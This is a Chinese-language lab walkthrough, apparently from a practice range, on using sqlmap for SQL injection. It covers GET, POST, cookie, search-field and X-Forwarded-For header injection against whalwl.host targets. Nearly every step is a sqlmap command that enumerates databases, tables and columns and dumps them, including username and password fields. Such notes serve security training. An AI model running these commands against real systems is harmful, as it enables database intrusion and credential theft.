Sqlmap
1、Sqlmap对get请求数字型、字符型注入## 标题
2、sqlmap对Get请求注入
对http://www.whalwl.host:8001/bug/sql_injection/sql_num.php进行get注入
命令
python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” --dbs

查询dwvs库表名
命令:
python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” -D dwvs --tables
查dwvs库中flag表的字段名
命令:
python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” -D dwvs -T flag --columns
显示flag表中flag字段
命令:
python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” -D dwvs -T flag -C flag --dump
Sqlmap对post请求注入
首先用burp进行抓包
将报文复制粘贴在1.txt 将1.txt放入
命令:
python sqlmap.py -r 1.txt
查库
命令:
python sqlmap.py -r 1.txt --dbs
查test库中表名
命令:
python sqlmap.py -r 1.txt -D test --tables
查wan表中字段
命令:
Python sqlmap.py -r 1.txt -D test -T wan --columns
显示字段
命令:
Python sqlmap.py -r 1.txt -D test -T wan -C username,password --dump
2、对此网站进行sqlmap cookie注入
http://www.whalwl.host:8009/user.php?id=1
命令:
Python sqlmap.py -u “http://www.whalwl.host:8009/user.php?” --cookie “id=1” --level 2 --tables
查this_flag字段
命令:
python sqlmap.py -u "http://www.whalwl.host:8009/user.php?" --cookie "id=1" --level 2 -T this_flag --columns
查看flag值
命令:
python sqlmap.py -u "http://www.whalwl.host:8009/user.php?" --cookie "id=1" --level 2 -T this_flag -C flag --dump
3、Sqlmap搜索型注入
http://www.whalwl.host:8002/search.php
查数据库
命令:
python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" --dbs
查dwvs库表名
命令:
python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" -D dwvs --tables
查flag字段
命令:
python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" -D dwvs -T flag --columns
flag值
命令:
python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" -D dwvs -T flag -C flag --dump
4、X-Forwarded-For注入 手工注入和sqlmap注入
1、Sqlmap注入
Burp抓包
并添加
X-Forwarded-for: 8.8.8.8*
复制粘贴至1.TXT
命令:
python sqlmap.py -r 1.txt --dbs
命令:
python sqlmap.py -r 1.txt -D xff --tables
命令:
python sqlmap.py -r 1.txt -D xff -T this_flag --columns
命令:
python sqlmap.py -r 1.txt -D xff -T this_flag -C flag --dump
2、手工注入
链接:
https://blog.csdn.net/mutou990/article/details/107761999